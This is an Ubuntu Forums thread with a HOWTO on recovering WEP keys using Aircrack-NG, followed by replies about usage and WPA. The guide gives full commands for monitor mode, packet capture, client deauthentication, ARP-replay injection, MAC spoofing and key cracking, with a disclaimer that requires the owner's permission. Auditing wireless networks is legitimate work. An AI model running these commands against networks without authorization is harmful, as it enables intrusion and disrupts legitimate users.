Ubuntu Forums ubuntu.com - launchpad.net - ubuntu help  

Go Back   Ubuntu Forums > The Ubuntu Forum Community > Other Community Discussions > Tutorials & Tips
Register Reset Password Forum Help Forum Council Search Today's Posts Mark Forums Read

Tutorials & Tips
The place to find Ubuntu related Tips & Tricks.

View Poll Results: Has this thread been helpful?
Yes 374 75.10%
No 39 7.83%
Somewhat 85 17.07%
Voters: 498. You may not vote on this poll

 
Thread Tools Display Modes
Old August 17th, 2007   #1
wieman01
Himbeer Brombeer Macchiato
 
wieman01's Avatar
 
Join Date: May 2006
Location: 100acrewood
Beans: 7,262
Kubuntu 9.10 Karmic Koala
HOWTO: Aircrack-NG (Simple Guide)

Before you continue to follow this tutorial, you might want to take a look at pyCracker, a useful tool which - hopefully - will make the whole process a littler simpler for you.

This HOWTO is widely based on Aircrack's own documentation. In addition you'll find the latest version of "Aircrack Next Generation" here and Aircrack-PTW here.

Any suggestions for improvement are welcome. Aim is to keep this HOWTO as simple & comprehensive as possible as I believe that brevity is the soul of wit.

DISCLAIMER:
Note that you need formal permission from the owner of any wireless network you wish to audit. Under no circumstances must you compromise a network's security prior to obtaining approval from the owner of the network, and no support will be given to users who seek to do otherwise.

GENERAL INFORMATION:
Generally speaking there are 3 types of attacks:
1. Brute force attack
2. Dictionary attack
3. Statistical attack
By exploiting several security weaknesses of the WEP protocol Aircrack NG makes use of a statistical method to recover WEP keys. Provided that you have collected a sufficient number of IVs (= Initialization Vectors) and depending on the length of the encryption key, determining the actual WEP key will take less than a minute on a common PC.

HARDWARE:
I assume that you have successfully patched the driver for your wireless adapter (e.g. Ralink chipset), so I won't go into this. I have tested packet injection and decryption with:
1. Intel® PRO/Wireless 2200BG (IPW2200)
2. Linksys WUSB54G V4.0 (RT2570)
I recommend "Linksys WUSB54G V4.0" as it has a decent reception and reasonable performance. If you need help patching & compiling from source, feel free to post your problems here as well.

DRIVERS & PATCHES:
Before you proceed you need to compile your own drivers & install patches for packet re-injection. You find instructions here.

PREREQUISITES:
1. You have successfully patched your wireless driver (see link above).
2. This HOWTO was written for Aircrack-NG v0.9.1 & Aircrack-PTW v1.0.0 on Kubuntu Feisty Fawn 7.04 (32-bit).
3. '00:09:5B:D7:43:A8' is the MAC address of my network, so you need to replace it with your own.
4. '00:00:00:00:00:00' is the MAC address of the target client, NOT that of your own wireless card.

COMMAND LINE:
Please make sure that you stick to the exact sequence of actions and pay attention to section on MAC filtering.
  • 1. Enable monitoring with "airmon-ng" (screenshot #1):
    Quote:
    sudo airmon-ng start <interface> <channel>
  • 2. Packet capturing with "airodump-ng" (screenshot #2):
    Quote:
    sudo airodump-ng --channel <channel> --write <file_name> <interface>
    Alternatively, try this (to collect data from target network only and hence increase performance):
    Quote:
    sudo airodump-ng --channel <channel> --bssid 00:09:5B:D7:43:A8 --write <file_name> <interface>
    NOTE:
    --channel... Select preferred channel; optional, however, channel hopping severely impacts and thus slows down collection process.
    --bssid... MAC address of target access point; optional, however, specifying access point will improve performance of collection process.
    --write... Preferred file name; mandatory field (in our case).
  • 3.1. Now check if MAC filtering is enabled or turned off:
    Quote:
    sudo aireplay-ng -1 0 -e <target_essid> -a 00:09:5B:D7:43:A8 -h MY:MA:CA:DD:RE:SS <interface>
    NOTE:
    -1... '0' deauthenticates all clients.
    -e... ESSID of target access point.
    -a... MAC address of target access point.
    -h... MAC address of your choice.
  • 3.2. If the resulting output looks like this...
    Quote:
    18:22:32 Sending Authentication Request
    18:22:32 Authentication successful
    18:22:32 Sending Association Request
    18:22:32 Association successful :-)
    ...then MAC filtering is turned off & you can continue following section 'No MAC filtering', otherwise jump to section 'MAC filtering'.
>> No MAC filtering <<
  • 4. Packet Re-injection with "aireplay-ng" (screenshot #4):
    Quote:
    sudo aireplay-ng -3 -b 00:09:5B:D7:43:A8 -h MY:MA:CA:DD:RE:SS <interface>
    You'll now see the number of data packets shooting up in 'airodump-ng'. This process can take up to five minutes before you start receiving any ARP requests. So be a little patient at this point. As MAC filtering is off, use an arbitrary MAC address ('MY:MA:CA:DD:RE:SS').

    Continue with #6.

    NOTE:
    -3... Standard ARP-request replay.
    -b... MAC address of target access point.
    -h... MAC address of your choice.
>> MAC filtering <<
  • 4. Deauthentication with "aireplay-ng" (screenshot #3):
    Quote:
    sudo aireplay-ng -0 5 -a 00:09:5B:D7:43:A8 -c 00:00:00:00:00:00 <interface>
    NOTE:
    -0... Number of deauthentication attempts.
    -a... MAC address of target access point.
    -c... Client MAC address.
  • 5. Packet Re-injection with "aireplay-ng" (screenshot #4):
    Quote:
    sudo aireplay-ng -3 -b 00:09:5B:D7:43:A8 -h 00:00:00:00:00:00 <interface>
    You'll now see the number of data packets shooting up in 'airodump-ng'. This process can take up to five minutes before you start receiving any ARP requests. So be a little patient at this point.

    NOTE:
    -3... Standard ARP-request replay.
    -b... MAC address of target access point.
    -h... Client MAC address.
  • 6. Decryption with "aircrack-ng" & "aircrack-ptw" (screenshot #5):

    Aircrack-ng:
    Quote:
    sudo aircrack-ng <file_name>.cap
    Aircrack-PTW:
    Quote:
    ./aircrack-ptw <file_name>.cap
CAPTURING:
This is a summary based on information given here and there, respectively:
Aircrack-NG:
64-bit key: ~250,000 packets
128-bit key: ~1,500,000 packets
Aircrack-PTW:
64-bit key: ~20,000 packets [estimate]
128-bit key: ~85,000 packets
FINALLY:
That's it. I am open for further suggestions and hope to gain as much input as possible so that we can improve this guide and at the same time, keep it as simple as possible for other users.

CHANGE LOG:
17/08/2007: First version (wieman01).
20/08/2007: Aircrack-PTW extension (wieman01).
09/11/2007: General overhaul after a long break ;-) and extension with regard to MAC filtering (wieman01).
22/12/2008: Update driver patches (wieman01).
27/01/2009: Note on pyCracker (wieman01).
Attached Images
File Type: png Aircrack (1).png (26.8 KB, 7327 views)
File Type: png Aircrack (2).png (33.1 KB, 6451 views)
File Type: png Aircrack (3).png (51.2 KB, 4922 views)
File Type: png Aircrack (4).png (40.4 KB, 4600 views)
File Type: png Aircrack (5).png (52.0 KB, 5183 views)

Last edited by wieman01; January 27th, 2009 at 02:08 PM..
wieman01 is offline   Reply With Quote
Old August 20th, 2007   #2
wifi-staff
5 Cups of Ubuntu
 
Join Date: Aug 2007
Beans: 17
Re: HOWTO: Aircrack-NG (Simple Guide)

nice thx
wifi-staff is offline   Reply With Quote
Old August 20th, 2007   #3
wieman01
Himbeer Brombeer Macchiato
 
wieman01's Avatar
 
Join Date: May 2006
Location: 100acrewood
Beans: 7,262
Kubuntu 9.10 Karmic Koala
Re: HOWTO: Aircrack-NG (Simple Guide)

Quote:
Originally Posted by wifi-staff View Post
nice thx
Let me know if it works for you. If not, suggestions are appreciated. I'll extend it further and briefly explain Aircrack-PTW which is much faster then Aircrack-NG.
wieman01 is offline   Reply With Quote
Old August 22nd, 2007   #4
AndrewGene
A Carafe of Ubuntu
 
AndrewGene's Avatar
 
Join Date: Apr 2007
Location: Central Arkansas
Beans: 85
Ubuntu 7.04 Feisty Fawn
Re: HOWTO: Aircrack-NG (Simple Guide)

how do you find the mac address of an access point of a router you are not connected to in the first place? by using the airodump-ng?? it sometimes says "not associated" under bssid (what does that mean)?
also are you going to make a guide for WPA??
__________________
Screw the fact that it's taking 35% of my CPU power, and that it's drinks my battery power like a thirsty bedouin, that's what eyecandy is all about
--9a3eedi
AndrewGene is offline   Reply With Quote
Old August 22nd, 2007   #5
wieman01
Himbeer Brombeer Macchiato
 
wieman01's Avatar
 
Join Date: May 2006
Location: 100acrewood
Beans: 7,262
Kubuntu 9.10 Karmic Koala
Re: HOWTO: Aircrack-NG (Simple Guide)

Quote:
Originally Posted by AndrewGene View Post
how do you find the mac address of an access point of a router you are not connected to in the first place? by using the airodump-ng?? it sometimes says "not associated" under bssid (what does that mean)?
Yes, simply start "airodump-ng" and you'll see all available networks (both APs and clients).
Quote:
sudo airodump-ng start <interface> <channel>
Quote:
Originally Posted by AndrewGene View Post
also are you going to make a guide for WPA??
I would love to but WPA is an entirely different topic. You cannot use statistical methos to crack the key like you do with WEP. WPA is much more secure and does not suffer the same flaws as WEP.

Last edited by wieman01; August 23rd, 2007 at 02:21 AM..
wieman01 is offline   Reply With Quote
Old August 22nd, 2007   #6
Dark Star
Has an Ubuntu Drip
 
Dark Star's Avatar
 
Join Date: Apr 2007
Location: India
My beans are hidden!
Ubuntu 9.04 Jaunty Jackalope
Re: HOWTO: Aircrack-NG (Simple Guide)

Very nice and detailed guid Thanks a ton
Dark Star is offline   Reply With Quote
Old August 22nd, 2007   #7
GoldenEye006
First Cup of Ubuntu
 
GoldenEye006's Avatar
 
Join Date: Aug 2007
Beans: 9
Re: HOWTO: Aircrack-NG (Simple Guide)

Yeah very nice
GoldenEye006 is offline   Reply With Quote
Old August 22nd, 2007   #8
rne1223
5 Cups of Ubuntu
 
rne1223's Avatar
 
Join Date: Jul 2007
Location: US
Beans: 30
Ubuntu 7.04 Feisty Fawn
Send a message via AIM to rne1223 Send a message via Yahoo to rne1223
Re: HOWTO: Aircrack-NG (Simple Guide)

Thanks
rne1223 is offline   Reply With Quote
Old August 22nd, 2007   #9
AndrewGene
A Carafe of Ubuntu
 
AndrewGene's Avatar
 
Join Date: Apr 2007
Location: Central Arkansas
Beans: 85
Ubuntu 7.04 Feisty Fawn
Re: HOWTO: Aircrack-NG (Simple Guide)

Quote:
Originally Posted by wieman01 View Post
Yes, simply start "airmon-ng" and you'll see all available networks (both APs and clients).


I would love to but WPA is an entirely different topic. You cannot use statistical methos to crack the key like you do with WEP. WPA is much more secure and does not suffer the same flaws as WEP.

First, my airmon-ng command only puts my card in monitor mode. It doesn't show networks--not even my own WEP network.

Second, back whenever crimemachine.com (just the name of a network auditing site) was up and running they had tutorial videos of how to safely audit networks. They actually said that WPA is quicker to crack (using the tools mentioned above) than WEP--albiet a less common solution--becuase when they were fixing the problems with WEP they created another one in WPA. I believe this is why there are two versions of WPA protection.
__________________
Screw the fact that it's taking 35% of my CPU power, and that it's drinks my battery power like a thirsty bedouin, that's what eyecandy is all about
--9a3eedi
AndrewGene is offline   Reply With Quote
Old August 23rd, 2007   #10
wieman01
Himbeer Brombeer Macchiato
 
wieman01's Avatar
 
Join Date: May 2006
Location: 100acrewood
Beans: 7,262
Kubuntu 9.10 Karmic Koala
Re: HOWTO: Aircrack-NG (Simple Guide)

Quote:
Originally Posted by AndrewGene View Post
First, my airmon-ng command only puts my card in monitor mode. It doesn't show networks--not even my own WEP network.
"airodump-ng" of course... my fault. I have corrected the other post.
Quote:
Originally Posted by AndrewGene View Post
Second, back whenever crimemachine.com (just the name of a network auditing site) was up and running they had tutorial videos of how to safely audit networks. They actually said that WPA is quicker to crack (using the tools mentioned above) than WEP--albiet a less common solution--becuase when they were fixing the problems with WEP they created another one in WPA. I believe this is why there are two versions of WPA protection.
WPA is WEP based and was meant as an interim solution, you're right. And there are ways to perform attacks against WPA networks as well, I found some stuff here. I just takes way more time & effort as far as I know as you are limited to brute-force and dictionary attacks. Nevertheless it's possible.

Tell you what... Since I don't know much concerning I'll keep looking for possible solutions/approaches. I cannot promise but I'll see what is available and keep you posted. If you come across something interesting in return I would appreciate if you posted your results here.
wieman01 is offline   Reply With Quote

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 08:22 AM.


vBulletin ©2000 - 2010, Jelsoft Enterprises Ltd. Ubuntu Logo, Ubuntu and Canonical © Canonical Ltd. Tango Icons © Tango Desktop Project. lingonberry